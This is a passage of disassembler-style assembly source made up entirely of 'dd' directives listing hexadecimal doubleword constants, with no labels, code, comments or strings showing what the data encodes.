		dd 18711809h, 530F130Dh, 0E7D0012Bh, 885F3235h,	829952Ch
		dd 54AE30E9h, 2F551FDCh, 0A40985BFh, 86F2732h, 0F804A6A6h
		dd 368D8D59h, 401DB720h, 231C8116h, 0D9B9FEFFh,	16BCF8h
		dd 8740938Fh, 0DB8C662Eh, 0D6E1F6B7h, 84607501h, 0F6E81757h
		dd 5B1870E2h, 0B7AFE7Ch, 3C6C7101h, 6BCE6A5Fh, 79D1F9h
		dd 5C44DDCh, 962E8690h,	0A0044E6h, 0B255199Ah, 27F227BEh
		dd 2D183C5Eh, 30E35090h, 1088085Ch, 0D7CA0015h,	0E07A47DBh
		dd 560155BEh, 0F5E2B34h, 762CE831h, 0C3BBC584h,	8AF0142Fh
		dd 0FB50698Bh, 8803A3CEh, 90585A5Fh, 0F1DAE360h, 3F64A195h
		dd 96E92E61h, 0B0FC8930h, 7200143Dh, 861F7020h,	51AE0743h
		dd 9BE65FFCh, 6074CD7Dh, 9D89D0D8h, 0F8821A94h,	0C05771E4h
		dd 8216B540h, 0F6BF8103h, 60D8B699h, 0B73E7BA2h, 0FC78C8BAh
		dd 66068C17h, 0F80BCCB0h, 429206Ch, 0FEB78B7Dh,	1201D647h
		dd 8D31A4E5h, 4CA007D1h, 3A230CCAh, 0F736E8C1h,	1FFD910Fh
		dd 0E292BD31h, 1A23923Ah, 3F6F4600h, 16D43CB3h,	8D82B90h
		dd 5082D996h, 7B241C89h, 60E97006h, 0F98841E3h,	8D9D111Ah
		dd 612C352Ch, 78A6605Dh, 0DE0039E6h, 44EFEEABh,	0C619EDh
		dd 18572F3Dh, 61260F9Ah
		dd 0BC6AEB96h, 13500DEh, 9D2D9295h, 74BD8D09h, 79A25B9h
		dd 0EFE0A5CDh, 4077446h, 5DBD89A4h, 77B00B1Bh, 0E40E9DE4h
		dd 0BF28ACh, 0DEA6F8Bh,	0F20BEE59h, 7C2648CDh, 0FAA4663Eh
		dd 35FF2D5Bh, 6AF5811Fh, 3861272Ch, 78212025h, 204AB83Ch
		dd 2B7E02BDh, 2C44CEFFh, 88623124h, 46743AA6h, 977001Dh
		dd 2CC99F82h, 0EF12000Ch, 1C68138h, 2148D5F2h, 7630D2AFh
		dd 1E3BDBh, 6AFC4FC8h, 5EAF97ADh, 0F02DB328h, 4A9E9348h
		dd 0A2043F6Eh, 95F535CEh, 87F6EA95h, 0A9C742B0h, 0FE49B000h
		dd 0BE50D327h, 2E7613EDh, 421A047Fh, 2EBC9460h,	1C2352h
		dd 16A8DBAAh, 7A16A0BAh, 0C50989B3h, 2C58AE6h, 0C616F812h
		dd 0C38EDAEEh, 0AD800720h, 325DE881h, 2E88D038h, 0D0EA5816h
		dd 432DF0DFh, 306B5F00h, 18DAE269h, 0E9B60287h,	0A5E073CAh
		dd 9F4524F2h, 1A888F4Eh, 0B5B91CC0h, 0FA133977h, 1DA59A62h
		dd 9F078B0Fh, 80199178h, 0B7F46D58h, 39109A0h, 98A9F9B5h
		dd 1FC10482h, 0E9598307h, 0B4052C7Ah, 8188343Ah, 3E9B3BDEh
		dd 190863AFh, 0F601D674h, 0AEFE9E1Bh, 7F30FA6Dh, 18FD208Dh
		dd 3723615Eh, 231484D4h, 0F81FBE00h, 34E9D181h,	61648C17h
		dd 0E87A1D9Dh, 933FC9Bh, 0D68EADABh, 5A5B92C1h,	0F0ACC069h
		dd 2872C27Dh, 20DD6D90h, 2B7F2DF9h, 0E3806E99h,	199199ACh
		dd 0F3420052h, 0F11854CEh, 9A5E6C27h, 0B1BE0565h, 0B89C3D03h
		dd 603001ECh, 0E6ED2BA9h, 0DB242C4h, 0EEBF96A0h, 561A7C0Ch
		dd 0F56746E9h, 6D597C5Bh, 0FC4CD41h, 0C0C9C721h, 0D0F78366h
		dd 2A05B589h, 263909B9h, 0D90CFD8h, 0BD85C706h,	0F70A0C09h
		dd 5A74F493h, 17465Ch, 9D123A36h, 26492DBFh, 0BF5589Bh
		dd 0C47F1FF1h, 59299352h, 1D94C0E2h, 0A0858939h, 0F114B031h
		dd 640EF3C2h, 34A25037h, 9F800D04h, 59FF203Ah, 14A8E685h
		dd 0FB10A8Ch, 22C0582h,	7287D681h, 76B713ECh, 8AD780EDh
		dd 99F704FAh, 0F9427A2Ch, 3564CBh, 45C2EE14h, 2238E396h
		dd 0E1405D00h, 11126661h, 0DC910692h, 3109E990h, 446C3900h
		dd 70DD7B08h, 0AA5F5E32h, 9200B86Bh, 5F507F22h,	7CB3F28Bh
		dd 59ACC078h, 234A1F84h, 29D8D306h, 323BFDEEh, 10C85C2Ah
		dd 5E262E61h, 762D90C5h, 4510FE62h, 7FBE001Fh, 5B4AD7D2h
		dd 0A82EC76Fh, 73069F2h, 5A0033EBh, 7EDB90B0h, 1FF2AAF3h
		dd 6C4C7F7h, 910E39B5h,	79E319ECh, 18C70BB6h, 80FCB7C0h
		dd 972A530h, 51059FB7h,	5FF3BF0Fh, 0EFE1E8F6h, 0CC19CC68h
		dd 99360228h, 2D041120h, 0FF8922E9h, 789C1637h,	0B46059E4h
		dd 0E185F7Ah, 0FC7FA312h, 0FB2FEED4h, 19910F1Dh, 0FF144494h
		dd 290581DEh, 0F41465B5h, 1A41F96Bh, 23C21B6Ch,	1450D1BDh
		dd 6D78D693h, 2D0A0289h, 0B305F9C5h, 0DCF2FF40h, 0DD6B3FBCh
		dd 4861D04Dh, 0C7CA5090h, 601C448Fh, 2A64D56h, 0A909BC5Dh
		dd 58636CB2h, 33198D85h, 4DBD006Dh, 5B2256FBh, 8F100F3h
		dd 58283F1Eh, 2CD2927Ch, 7F31860Bh, 0DCFF068h, 5A12248h
		dd 52817988h, 6941EEB1h, 0FF69086Dh, 2F03CD10h,	35E79050h
		dd 0E1B11FC5h, 530B84E0h, 5B2FC27h, 0FA8B9642h,	24048C05h
		dd 34E00FA6h, 7D048E02h, 602CC140h, 89CE8580h, 0F453F1BDh
		dd 5CF8C861h, 641069E0h, 32CD5F82h, 0E101D591h,	5AA6380Dh
		dd 0EABDB463h, 0A4B2DB2Bh, 56E498CCh, 0E85CD3FFh, 2CA580F8h
		dd 26571A8h, 335EDE50h,	56D00DBDh, 0A66A94B4h, 85859DEh
		dd 454B3E1Eh, 0B20803E9h, 0D6D9CAABh, 47BD0BA5h, 20F19C8Eh
		dd 2CC5E180h, 5E619D88h, 0AF6FFB0Eh, 10182713h,	0F02DC3BBh
		dd 71C0919Bh, 685B27CBh, 60226E5Eh, 5EF0AA56h, 0CECBD83h
		dd 274572B6h, 0A38379DFh, 134C6BE9h, 15C71F5h, 0D1689A50h
		dd 8556944Eh, 12F8312Ah, 8F4EE95Eh, 0CA1488E3h,	8FAE0296h
		dd 389369BCh, 6FFA225Bh, 8D1073Bh, 0F401027Eh, 4C218FB8h
		dd 30A7D905h, 0C4FB7251h, 6F158516h, 0A565263Ah, 44B82B2Dh
		dd 278B6B16h, 60E74DDFh, 52E7A109h, 8F98B002h, 5BF5AE65h
		dd 1F75AF10h, 3F8D80DDh, 0BD5B33BFh, 806A015Dh,	0B42FC4FFh
		dd 19550956h, 0B48B8BDEh, 690F6DDFh, 0ADB55782h, 48E931E9h
		dd 0B907C4E9h, 6C9FBF4Dh, 3A9463B5h, 2CFD2281h,	53059D3Dh
		dd 56B18D89h, 9B0D84D9h, 0D950C07Ch, 6EE056h, 0DF81C760h
		dd 322337E6h, 0F418D5EDh, 0E4250EEBh, 0B463771h, 518051FEh
		dd 5BEA12EEh, 0B2205E4Eh, 13139AC4h, 7A226Fh, 5B476271h
		dd 0E61683A6h, 46D65802h, 16A120FEh, 6B4F999Ch,	25CD7FC3h
		dd 0AA3B0760h, 815000EAh, 0D7D5BFE7h, 8C9E5E62h, 12904626h
		dd 0BA21175Ah, 0A6C08FDAh, 61F8D5ECh, 3A80ED99h, 4CB7F086h
		dd 5A70E5D6h, 0D82B265Eh, 1D46744Ch, 9743A500h,	4B4F6DF5h
		dd 89BE943Ah, 0AB93F98Bh, 0B77F6385h, 0F09A3CFh, 0E7104831h
		dd 585A0C63h, 61930424h, 88574FDEh, 452D259Dh, 7094FD7Fh
		dd 0E252F901h, 5937CAF5h, 15AC546Dh, 4AD3008Ch,	858BFC60h
		dd 149D2DE5h, 0DC0B9C5Ah, 83711E02h, 0F5B0A3DBh, 0EF7091F3h
		dd 15E87528h, 0C2E0F1BBh, 23820F14h, 0F2B72476h, 0BAE28D6h
		dd 7D3D37DAh, 5200FD44h, 82DE7EACh, 6BB26Eh, 0AFE01D05h
		dd 261C9981h, 0F2EC390h, 4449898Ah, 7DE90066h, 0DC7047C1h
		dd 5F5BF221h, 0A8426D48h, 339920A2h, 3A93B6F8h,	0BF851D1h
		dd 4AFE0222h, 68EAB034h, 17DF65E0h, 0C0CF3D48h,	0A03391BFh
		dd 0C2D49054h, 7A84CE22h, 5046569h, 8E0FB844h, 0BC649089h
		dd 0E361E8F9h, 0B43CBF25h, 58260458h, 26A66694h, 565F9818h
		dd 0B2CC8823h, 0DC0294C3h, 17026CE4h, 0B9EA13A7h, 0F6655607h
		dd 3FA9AC00h, 0FE25C0Dh, 0ADF257Eh, 7091F990h, 0EB942600h
		dd 78D6925h, 194300A7h,	67DDF04Ch, 78B860D1h, 0C259516h
		dd 781D488h, 0A02905EEh, 0F1D76013h, 0D5AB565h,	804CDA4Ah
		dd 0C078EDA3h, 9DB700C7h, 1314507Bh, 0F9B46061h, 0FA582823h
		dd 0B7E9070Dh, 0F0B271FFh, 0F18BCD6Fh, 0D645F6B4h, 0A048A7EEh
		dd 0B1250E9h, 0B60C2ABh, 5CBFFC14h, 85FA7EA1h, 22612Ch
		dd 0C429DD0Bh, 5B2C400Fh, 2913797h, 2792972Ah, 38896641h
		dd 0D62B8F2Eh, 0D700DA6Fh, 0B8D88BBBh, 21B67133h, 0B7EA2CC5h
		dd 0F4A9A17Eh, 13361860h, 0B324E987h, 1F072DE5h, 8B149196h
		dd 0FDF24A9Ch, 0B120AF51h, 29315925h, 0B795AA8h, 35EE5D17h
		dd 60B54DD5h, 0F7FA2F2Ah, 4019BF02h, 9D6591CDh,	801A115Dh
		dd 3219B1EDh, 0F38525CEh, 0C6140DE0h, 219D890Bh, 90F54D12h
		dd 118F8E16h, 31F1324Fh, 0BD806EE6h, 93B3B881h,	3C46D26h
		dd 90895DA8h, 17708453h, 0C6A8016Bh, 0B660569Eh, 0F9B63084h
		dd 0ED9617B2h, 910FFADh, 740092F2h, 0CA1A6A73h,	945E28C6h
		dd 6501DCD8h, 152E5705h, 0DDD1EF78h, 81C08228h,	897FFCF6h
		dd 0F2450597h, 362EA194h, 61161923h, 6E4B23A2h,	0BF771942h
		dd 0E073FA82h, 0A862F400h, 0A47F9B57h, 0E4B48BFFh, 5FED24DEh
		dd 42C0BB9Bh, 5BD33D0h,	8E241BBCh, 2789C439h, 0F5E8D585h
		dd 0ED1D23C7h, 0DE803BB9h, 2C9F4665h, 71F8FEE9h, 0DC02B6FFh
		dd 0FA6AD304h, 0D1C14CE4h, 4B2060C1h, 7D23B579h, 3141028Ch
		dd 0A0623E87h, 164660h,	0B23BAF3Ah, 56055AD6h, 8BDA4405h
		dd 3CD2598Dh, 81FFC161h, 344F0338h, 3EB3A375h, 0B28B0056h
		dd 6EEF3886h, 0BF5001F5h, 4F41B6F4h, 11ED7A90h,	0CC00D8ACh
		dd 9E763BB3h, 626F5313h
		dd 0D698EE2h, 3BA21AC4h, 9EF9A226h, 22176413h, 42F77A0Bh
		dd 0BB7CB754h, 0F6B98F80h, 28029682h, 17182548h, 4A8450FBh
		dd 4E235CF1h, 313015A2h, 0E484B528h, 0D24880D8h, 616C4A5Ah
		dd 30DE104Eh, 890EB8BFh, 215AC5BDh, 0D1F854D2h,	0F16DA753h
		dd 0D6AD23CEh, 20369823h, 299A0954h, 69FA4DBDh,	4C058E22h
		dd 0F8393460h, 0DB82345Ah, 0AF18C080h, 977769h,	0D3FFC159h
		dd 21A5BD03h, 7E5A91B4h, 204D47Eh, 0F4C5F662h, 111F1C1h
		dd 7DCE900h, 6E5895B4h,	92798217h, 840108EEh, 21232DBDh
		dd 0FC020459h, 5BE9027Eh, 0D24E50CCh, 60199F01h, 621142F8h
		dd 740B5360h, 4B1C5A8Bh, 4A7B9296h, 0C288C4D9h,	831D0E45h
		dd 4415EB8Bh, 950B45B3h, 74C1E926h, 88176269h, 0AB2718EFh
		dd 83D53797h, 6C5B85A6h, 0BAC7CEF8h, 0E944C80Bh, 917D9F2Eh
		dd 4D038216h, 1081F6F1h, 70584217h, 0DB4D8D89h,	7CB5A842h
		dd 205751CAh, 1C401147h, 94BF505Fh, 12485A27h, 8050DBA1h
		dd 32622616h, 1A8EB569h, 33A598B6h, 0C81B18Bh, 29A80645h
		dd 39B52981h, 96CC052Fh, 90FE398Bh, 2F50F39Dh, 59DDEE10h
		dd 5E332F00h, 0F109F4EFh, 0D24501C6h, 0E9DC3984h, 36026520h
		dd 8ED2F1AEh, 0ABE97Eh,	0DFE28CCAh, 1B4D94Eh, 435DF728h
		dd 20B0290Fh, 83B0F227h, 0E6CC9D54h, 2DBE7050h,	78E40940h
		dd 818D1771h, 1993232Eh, 75130D4Bh, 0BE09CB6Fh,	69C4F9CAh
		dd 0DF37B7h, 0C67310E1h, 151E3067h, 0C7E71BEAh,	6018647Fh
		dd 26CFD38h, 0BE667DC8h, 0A270532Ah, 9706CBBh, 6A140599h
		dd 0A14D9C15h, 0B83A7D76h, 950913C6h, 2B0D440Dh, 8063DED8h
		dd 0FF59CD98h, 691A00A3h, 3D8CBEF4h, 1A9F4B3Ch,	52175BBAh
		dd 9502815Eh, 60752DBAh, 0BD2299ECh, 0DAF589BAh, 1627FA6Ah
		dd 9D59D633h, 888F0B2Eh, 49E0CE1Bh, 59367427h, 0B082521Ch
		dd 0C0CF4D25h, 79589B22h, 2698E100h, 9529EC0Ch,	9429659h
		dd 1C44890Fh, 3021BD10h, 6E2B9951h, 323099Dh, 0BDB121DCh
		dd 373E2F65h, 8BA3689Bh, 279A778h, 0B07F4706h, 5160744Fh
		dd 0DC912DD9h, 4D2DD3A0h, 42FCB221h, 9060071h, 0B50CCDBDh
		dd 17912A1Fh, 3E32A980h, 8BB7F9ACh, 0AD508A3Dh,	25337ADh
		dd 53F868DCh, 0D8EEC1E0h, 0B05FAD24h, 9064519Dh, 880F6005h
		dd 2E8B725h, 63EC1480h,	0B900C898h, 0E0BBDE89h,	1A80AD1Dh
		dd 7A0462F8h, 3327641h,	7A6BC561h, 0C39E01Ah, 38449E7Ah
		dd 0BB075FB9h, 6A0B177Ah, 2B09D5E7h, 8B0F5107h,	12D05E42h
		dd 8EF4F2E2h, 0FA6589B6h, 0D3F660A4h, 0E234B317h, 0F9A63015h
		dd 2525F690h, 12645B08h, 16D1A2BDh, 199D5FF1h, 0EFD7A21Ah
		dd 8B5B88C0h, 93D4FB5h,	443D2B5Dh, 0DBC59702h, 0F5C88B9Dh
		dd 8727BB66h, 56F4B164h, 0DED821A4h, 0E9FC3809h, 0D8BF533Eh
		dd 0C8019CBAh, 0E634F08Dh, 227E7AFDh, 68606750h, 1F00CD2Eh
		dd 9D52C21Dh, 17C08BA8h, 0B0798D09h, 5F4A56ECh,	495DFBA3h
		dd 0DB8D0A8h, 55DABD45h, 0DFC2D312h, 80BF6954h,	293FA1E9h
		dd 0B415FDBDh, 19467E64h, 0BF8F7200h, 29D03DA1h, 6F458527h
		dd 9E2E12F6h, 4661CBBAh, 8D291617h, 165DA239h, 62281B15h
		dd 0FD9D4C29h, 0C8DF9B5Ah, 5EE5C01Ah, 0C513D069h, 0B4A15B2Eh
		dd 43009333h, 68DFEC50h, 0B5122B90h, 0FBE72AF5h, 204782A1h
		dd 34A153CEh, 190100Bh,	0C7E800AAh, 9A57912Fh, 5E5E3264h
		dd 6A8098DBh, 0D1091416h, 15F63203h, 4C39870Fh,	4910A823h
		dd 0A0E82705h, 0B6DA884Ah, 1C5D0446h, 0A20FA8CAh, 0D4C0005Fh
		dd 405E2A34h, 0E23F0298h, 180A92A0h, 0CBF2F5h, 3A957964h
		dd 547C9AFFh, 7FB40602h, 0DE5F5E87h, 9301DC50h,	709A26Fh
		dd 0A608563h, 8B174001h, 81403F96h, 2F404DD7h, 357D4E97h
		dd 19E48018h, 837732Fh,	0B20B1400h, 0DA78BF06h,	423E4823h
		dd 50FA892Ah, 0D577E9h,	0F66191B1h, 0BCFC297Ah,	0E9274095h
		dd 2554B45Fh, 7A02FC37h, 400D38C4h, 913325F4h, 2E8D0BFAh
		dd 0BB12DFB8h, 0A2A52430h, 811BF9BDh, 15297060h, 96B91A40h
		dd 44D39D8h, 3B00BCBCh,	0FE06AE09h, 78A7E6BEh, 8D21390Dh
		dd 9D9D1530h, 4A8320DDh, 0BA49E418h, 0DFBE9805h, 17538B1Ah
		dd 0D1E390E6h, 30312BE1h, 83802306h, 3D014CE1h,	90898976h
		dd 8B2A3166h, 4ABF9844h, 14A5CDD1h, 0C2D1D81Eh,	0CD606125h
		dd 34D4C513h, 99D60AB4h, 0EEFA6988h, 39E0E3ADh,	90D0C1Dh
		dd 0E2C7C5DBh, 5AD1C684h, 0BF25F25Eh, 0F280CEF4h, 0AB80F677h
		dd 0C5804D8h, 0AA403E7Eh, 81515340h, 0A4892F7h,	5A580D50h
		dd 0DDA43596h, 0A57B41AEh, 0AE050416h, 9F720429h, 5052221Ah
		dd 6340785Eh, 716FF8h, 0FED7F782h, 596A70A5h, 24355E03h
		dd 695FC5AFh, 90EDBD77h, 175136E0h, 580C1432h, 0E8E840D0h
		dd 8100DFA4h, 2FFFF5D9h, 57D6B9h, 3B1CFC89h, 475D5329h
		dd 0AF3C5C01h, 41958B2Dh, 475E9252h, 7995083Eh,	88EA6197h
		dd 82009920h, 0FCDD4F8Fh, 3EC4410h, 0E5BD6273h,	35881885h
		dd 7D481CBEh, 616FD3D4h, 48C73B00h, 0C531E0BFh,	0E19C0D90h
		dd 0A4808DA1h, 0DED1FD47h, 0BB340973h, 0B1BB2CF6h, 41F5383Bh
		dd 0FEC0CA60h, 176FBC51h, 0E4DBFF04h, 624E46C0h, 0D81D878Ah
		dd 6B45E381h, 0A5334CB0h, 1031492Bh, 1E2D63BCh,	0F9E4460h
		dd 9FA15158h, 50058463h, 2D6CC241h, 37B8DAh, 1B372F7h
		dd 0DC54E26Bh, 0E239FAA1h, 1FC69690h, 28699D54h, 0BF6FFB4h
		dd 0E749DB91h, 0C1DA1284h, 41DA12Ah, 813D59ACh,	3703D492h
		dd 0B5B8B01Ch, 6A284CD0h, 0EE6E561h, 629DBB88h,	226D14A9h
		dd 0A21EFBCEh, 82C3A780h, 0A454680Ah, 9D80D6BCh, 0C2C7E587h
		dd 0B8D4E400h, 726BB16Fh, 7FF93A9Fh, 21AD5828h,	16F10E61h
		dd 0AA267E18h, 0F814C15Fh, 84BBD79Fh, 0E090A6D9h, 10894702h
		dd 68337985h, 0CD2F7DA6h, 8A4BC0F1h, 66047416h,	0E88CCEBAh
		dd 2F1368Ch, 0EEBDF567h, 1660EDC9h, 0F4830351h,	0FCCFF834h
		dd 79018C19h, 0D2514B3Ah, 0DF7003B8h, 5A628229h, 0D2B755h
		dd 0EAB91BE7h, 12E0517h, 0E8ADB0C5h, 7EF81EFh, 27A15AF2h
		dd 0FA4EE9C7h, 1832B79Fh, 9D1641Ah, 15235680h, 9625C1B5h
		dd 7B37612Dh, 10941500h, 5898594Ch, 4D105CEEh, 7EB021Fh
		dd 0F2E99D61h, 7137BF6Eh, 361ACE00h, 766C5A77h,	552D2F5Fh
		dd 837CB5D5h, 492FCFF3h, 0AC3008A8h, 88D9AECAh,	0ED0C52ACh
		dd 2FC10D1Ch, 14C475E9h, 4491F4BDh, 16A4535h, 8ACF6FEh
		dd 0A82178D1h, 88417082h, 0EF18C1FEh, 43C680Ch,	8FC4DC20h
		dd 0D4B5702h, 95FFCEE0h, 32E91AA0h, 5818F4BFh, 0C52030DFh
		dd 329129A9h, 4B01C53Fh, 1858794Dh, 7C6A5031h, 6EA05605h
		dd 0C3610E12h, 0BAAEE0C1h, 0F00D3000h, 83DDEA81h, 14C28384h
		dd 1AEDBCC1h, 70FE9F07h, 22254D5Ch, 0C359FD82h,	969AD5AFh
		dd 58066AF9h, 4C1AC22Bh, 0A9489FF0h, 5A4D3809h,	5212D604h
		dd 3C504B00h, 7681D003h, 19456B3Ah, 2D8A49DFh, 0E99868C2h
		dd 31C69AD9h, 0C5FEC88Bh, 4003000Eh, 0F14FDD3Ch, 32F45C2h
		dd 12ACCF8Bh, 50140B9h,	1C5BF86Ch, 0D103320Ch, 93AFE520h
		dd 1208D81Eh, 0FF821665h, 0E9437451h, 0E0114C13h, 1005C048h
		dd 18B0A981h, 3359B514h, 0DDC3C02Fh, 4B241939h,	684701FDh
		dd 0D49AA7D2h, 21FA5F1Eh, 9622350Ch, 5D43D3EBh,	0C255E7F7h
		dd 0DC3AD4C0h, 0BE575500h, 0EE8179CEh, 53721CC0h, 0C0609F68h
		dd 3AE9805Ah, 56BF5E61h
		dd 385F76CDh, 21537BBBh, 46697A38h, 22CD050Eh, 0A4110520h
		dd 0EBC04D96h, 9003A6BCh, 4A05C6B1h, 0E81E0B69h, 0B3480829h
		dd 4E9294E9h, 6DDEE555h, 0BEDB89Ah, 0FBE88DEFh,	0C4310825h
		dd 5E5E9631h, 3519CD20h, 0F623EAE8h, 0DE73E006h, 7FA228FDh
		dd 2052890h, 33152B31h,	0B717860h, 8D23990Ah, 0FC868479h
		dd 5AD94E8h, 0C19D8B60h, 1076FD29h, 613226F9h, 0F020DDFh
		dd 401B748Fh, 773E8F8h,	0DEDE5EBFh, 59847218h, 0B4293162h
		dd 5E01F468h, 57DD60E4h, 43AA0F6h, 130726EFh, 2B054CB3h
		dd 2232418Dh, 0E5EAA9AAh, 2EE06E6Dh, 14588E5h, 23CF1764h
		dd 682AE180h, 0C51C8070h, 43F0B2h, 81BB870h, 0D9E84518h
		dd 0FDA7064Fh, 305B39B1h, 3231BF2Dh, 1F59C8B4h,	261E7A7Bh
		dd 33895365h, 0BD3B02C1h, 0EDE80422h, 12F64A59h, 9946BCE5h
		dd 0A97575A4h, 805ADB3Bh, 25BE5D5Fh, 7C680046h,	8612E181h
		dd 0E8343745h, 9EEDA731h, 0F60987B8h, 5C5A7E10h, 4EB62A1Dh
		dd 80A09E04h, 796B965Dh, 93E10002h, 89F526F2h, 0ACA415B5h
		dd 0BD05D82Fh, 4BD804C7h, 0AF6AD4BFh, 0F36FE816h, 0C0C0D81Fh
		dd 8D815B08h, 0B2E54AFh, 919AF31h, 5A0D84A9h, 0BF85C0CBh
		dd 3242F787h, 0B5B0FD66h, 37BD12F8h, 0B3D00070h, 0DB1E4C7Fh
		dd 0E8EFBC12h, 943819B2h, 326BF184h, 0F6B260h, 8C6525AFh
		dd 1307BA87h, 0A0585C5Ah, 618019D8h, 11E83059h,	0C98509E7h
		dd 0DCB91D4Ch, 80504F60h, 18D139D2h, 0F8E85E16h, 0F39B7E56h
		dd 708C081h, 2C2DB78h, 4900CF79h, 0EEDEB2D3h, 6F1900A4h
		dd 0FD89E6C8h, 0CE021D73h, 854C9C5Eh, 48534299h, 0BE2D119Bh
		dd 0AF81981Bh, 44EA9E8h, 0D0A73CB7h, 0C25EDC97h, 457ED517h
		dd 658A88h, 4B3F7781h, 573C24A4h, 0C6B49F0Ch, 4E918CE2h
		dd 0BCA629h, 0A97FF60Ch, 4A8D3118h, 0B96210DDh,	691E582Eh
		dd 0C54E615Eh, 9BB7327Dh, 8870F3A0h, 71BE6601h,	425E886h
		dd 0F77A6Eh, 986AF9C0h,	13AE5A69h, 4973BF51h, 0BBA5E494h
		dd 0B5BFB4B1h, 0B0DF9D67h, 0C0CACD0Bh, 0A8556FBCh, 0EC6D8002h
		dd 0D4828CEAh, 0D0494752h, 4470DF84h, 0B786CC60h, 4B410DFBh
		dd 0BDAC8559h, 0D1F0C94Ah, 4F4D2773h, 2FD469C0h, 0E2DF62C4h
		dd 0C95C2A79h, 808C3569h, 4DE913FCh, 0F0123C6Fh, 0C7E15C6Dh
		dd 74F08436h, 63EB75C8h, 411200B8h, 23A6FBFDh, 0F7C3487Dh
		dd 81428027h, 0DC675Ch,	0C690C5CAh, 64958B36h, 92D82B3Ah
		dd 8880518Dh, 5C0F5693h, 60818A88h, 0F2505F61h,	7F009B46h
		dd 1E65FF0Bh, 4751472h,	0B7E1FEFBh, 0D656B807h,	33040FA3h
		dd 2729B5h, 0B0B9665Bh,	0BD8912FBh, 8D81C0F1h, 264CDD95h
		dd 8C17F8A6h, 9C0B6E09h, 37905E6Bh, 821A67CFh, 184D0442h
		dd 23B5CDE0h, 0C1985F9Ah, 31B9165h, 0B9B0165Eh,	0E54E9119h
		dd 0E639440Ch, 75A9E082h, 18E5097Eh, 0D1FC9878h, 0EC92F72Fh
		dd 70005CF9h, 67534BCCh, 0CA6C0F37h, 0C55F9718h, 0E5198D29h
		dd 0EDF6AFF8h, 0FC72C4E6h, 0CDA47BA0h, 0AA8ED52h, 7517919Dh
		dd 4FCFA633h, 13CB6E6Dh, 0A1192301h, 6C89C84Ah,	999F2DF1h
		dd 0E851511h, 85D505EEh, 6BC86432h, 44592583h, 4BCE06D4h
		dd 0ED600925h, 6252BF06h, 25B25DF8h, 43D22A1h, 0BF547600h
		dd 6939DBF1h, 16B7B043h, 65C61181h, 9A368A0Fh, 6BB3F634h
		dd 0EB17002Ah, 8D0B57FEh, 5F8695C5h, 4D20F45Fh,	88535B09h
		dd 0DC001189h, 0E641CDF0h, 0A0ABF6A0h, 25291AB2h, 0AD9AD95h
		dd 9B6CD511h, 0FBFFFA6h, 606270B8h, 7EFB2C59h, 6D2A5D00h
		dd 0E03263FEh, 0B5DC0044h, 28D221BCh, 0E86B7B55h, 0C00ECD6Ch
		dd 1337B4DEh, 4CBBBA06h, 0BF9DCB9Ah, 0A402DCB7h, 460F9EFAh
		dd 0A2EED9h, 55822F22h,	734AF6Dh, 0EABBE431h, 563217F5h
		dd 206BD2h, 21847A73h, 0A091750Ah, 991DF1A8h, 0BCA32550h
		dd 375AC7E9h, 3E6CAEC6h, 89C4880Fh, 2D97B54Fh, 7800FBE9h
		dd 2807CA9Ch, 549ED13Dh, 5B6A9752h, 0C677780Eh,	0EFA3734Bh
		dd 925E5558h, 24FE6A68h, 698339DEh, 5B576887h, 28C72316h
		dd 3195A10h, 6D3A664Ch,	0F216B9C0h, 0FA16DA05h,	7500866Fh
		dd 10F14B1Ah, 0AA02DC63h, 0BD29DB65h, 8AB36859h, 21B7BDC5h
		dd 59E2CE00h, 2FE6A1A6h, 4FB7C08Bh, 0BB806600h,	958B56B2h
		dd 7BAB925Fh, 73FFD2C1h, 0B38518Eh, 0E027B6D3h,	27BD010Ah
		dd 404920C5h, 254B3259h, 0AF69F3C0h, 0B102F9B5h, 60B7F85Bh
		dd 0EC53DE69h, 5090035Fh, 4616BB66h, 0B87CEDB5h, 178F708Dh
		dd 0A4A00D3Bh, 1B512D91h, 0C0E55655h, 22321213h, 484872A3h
		dd 0DAA05A00h, 0FFDC86DEh, 91A8CC17h, 3A8914B1h, 185950FEh
		dd 0E5D91100h, 764A9339h, 0D4130037h, 0E0BD3F19h, 89BD8C0Fh
		dd 70225B02h, 0CF1C10ADh, 0BF80B582h, 4F8A2268h, 0DEE7946Ah
		dd 0E4A75204h, 9CE26D5Bh, 0F5C19B01h, 0EE8F20F7h, 8EDC6B89h
		dd 0B57A278h, 5F5BC5B5h, 0F4425Ch, 7E618912h, 7D8D0139h
		dd 0B045DB4h, 0D1EC3D9Dh, 6D619D5Eh, 0B4CCAD99h, 0F221620h
		dd 71F4F282h, 7B52A9BDh, 0F3F707Ch, 15D48F7Fh, 9B670055h
		dd 0F2BFD1FFh, 3E5E25B8h, 446EEE57h, 0C4955778h, 0A03D0E75h
		dd 0FC137A67h, 8102008Ch, 4E22CAEBh, 5C906028h,	0F50A62Ch
		dd 0BF398054h, 90F28813h, 0E5B86DB9h, 0C607D531h, 0BA140185h
		dd 0C2F9AF09h, 0E0AB4DBDh, 9871C5F5h, 66B89602h, 0E0E9D381h
		dd 0BD0D7276h, 1C20AE96h, 3B524832h, 0AB57F8C0h, 98005B91h
		dd 0FBFA2B50h, 908BD495h, 31F4095Eh, 1A50B19Dh,	0B7B55B71h
		dd 0B15905E2h, 86A40557h, 85CFC160h, 0A43CEFEh,	6CEB80C0h
		dd 0E19D0113h, 503E63E9h, 4526972h, 8B4B15Eh, 7757D106h
		dd 407A9C10h, 0ACCD3D6Ch, 76B96300h, 5B420695h,	4059A61h
		dd 146C4BFh, 9EA9AA4Dh,	9CA8DAD2h, 0B4899FC0h, 0A2E15118h
		dd 672FFAEh, 0DBAE840Fh, 98CDA0ACh, 0BE80A02h, 7CD2AD27h
		dd 0FEBFD058h, 0C0F3EBABh, 0FCE38250h, 97E6027Eh, 8F330EBEh
		dd 2B8598D7h, 895D7C9Dh, 27310981h, 0B30703C5h,	4CA9EBF3h
		dd 0F3317E07h, 0FADE9D89h, 141D9D7Ah, 76801B11h, 97EB1B8h
		dd 100D2B17h, 0D099D90Eh, 83516025h, 0C3E15196h, 0FF1014D1h
		dd 324BE5B5h, 0A43EB07Ah, 0A5A2CAh, 0E7EB0E66h,	1205E64Ch
		dd 94B74AAh, 7C9B5536h,	0E90216B2h, 8430FE0Fh, 0BF126D9Dh
		dd 0F7F02967h, 38E297BAh, 0F24EB0C8h, 75017BEAh, 33670FC1h
		dd 0D6DCF196h, 44100FBh, 0ECF0D5B4h, 705AE67Fh,	2F326601h
		dd 0CBD871E4h, 0C7D217CFh, 0CE05A479h, 9D0953C2h, 878BAF39h
